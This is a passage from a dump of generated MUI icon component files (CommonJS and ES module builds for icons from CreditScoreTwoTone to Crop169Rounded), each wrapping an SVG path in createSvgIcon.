    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crib.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'Crib');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crib.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'Crib');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4zM18 14H6V8c0-1.1.9-2 2-2h2v5h8z\"\n}), 'CribOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4zM18 14H6V8c0-1.1.9-2 2-2h2v5h8z\"\n}), 'CribOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 18.32c-.36-.36-.92-.4-1.31-.08-.32.25-.65.48-1 .69V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-6V6c0-1.1-.9-2-2-2H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.35-.2-.69-.43-1-.69-.39-.32-.96-.27-1.31.08-.42.42-.39 1.12.08 1.5C7.47 21.18 9.64 22 12 22s4.53-.82 6.24-2.18c.47-.38.5-1.08.08-1.5M14 19.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'CribRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 18.32c-.36-.36-.92-.4-1.31-.08-.32.25-.65.48-1 .69V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-6V6c0-1.1-.9-2-2-2H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.35-.2-.69-.43-1-.69-.39-.32-.96-.27-1.31.08-.42.42-.39 1.12.08 1.5C7.47 21.18 9.64 22 12 22s4.53-.82 6.24-2.18c.47-.38.5-1.08.08-1.5M14 19.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'CribRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9h-8V4H8C5.79 4 4 5.79 4 8v8h4v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h4zm-6 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'CribSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9h-8V4H8C5.79 4 4 5.79 4 8v8h4v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h4zm-6 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4z\"\n}), 'CribSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14H6V8c0-1.1.9-2 2-2h2v5h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4zM18 14H6V8c0-1.1.9-2 2-2h2v5h8z\"\n}, \"1\")], 'CribTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CribTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14H6V8c0-1.1.9-2 2-2h2v5h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h-6V4H8C5.79 4 4 5.79 4 8v6c0 1.1.9 2 2 2h2v2.93c-.61-.35-1.16-.78-1.65-1.27l-1.42 1.42C6.74 20.88 9.24 22 12 22s5.26-1.12 7.07-2.93l-1.42-1.42c-.49.49-1.05.92-1.65 1.27V16h2c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2m-4 10.75c-.64.16-1.31.25-2 .25s-1.36-.09-2-.25V16h4zM18 14H6V8c0-1.1.9-2 2-2h2v5h8z\"\n}, \"1\")], 'CribTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 2.5c0 1.06-.75 3.64-1.19 5.04-.18.57-.71.96-1.31.96s-1.13-.39-1.31-.96C10.25 6.14 9.5 3.56 9.5 2.5 9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 2.5c0 1.06-.75 3.64-1.19 5.04-.18.57-.71.96-1.31.96s-1.13-.39-1.31-.96C10.25 6.14 9.5 3.56 9.5 2.5 9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrisisAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 2.5c0 1.5-1.5 6-1.5 6h-2S9.5 4 9.5 2.5C9.5 1.12 10.62 0 12 0s2.5 1.12 2.5 2.5M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4.08-4.89c.18-.75.33-1.47.39-2.06C19.75 4.69 22 8.08 22 12c0 5.52-4.48 10-10 10S2 17.52 2 12c0-3.92 2.25-7.31 5.53-8.95.07.59.21 1.32.39 2.06C5.58 6.51 4 9.07 4 12c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.93-1.58-5.49-3.92-6.89M18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2 .98-3.77 2.48-4.86.23.81.65 2.07.65 2.07C8.43 9.93 8 10.92 8 12c0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.08-.43-2.07-1.13-2.79 0 0 .41-1.22.65-2.07C17.02 8.23 18 10 18 12\"\n}), 'CrisisAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h8zM7 17V1H5v4H1v2h4v10c0 1.1.9 2 2 2h10v4h2v-4h4v-2z\"\n}), 'Crop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h8zM7 17V1H5v4H1v2h4v10c0 1.1.9 2 2 2h10v4h2v-4h4v-2z\"\n}), 'Crop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Rounded.mjs",
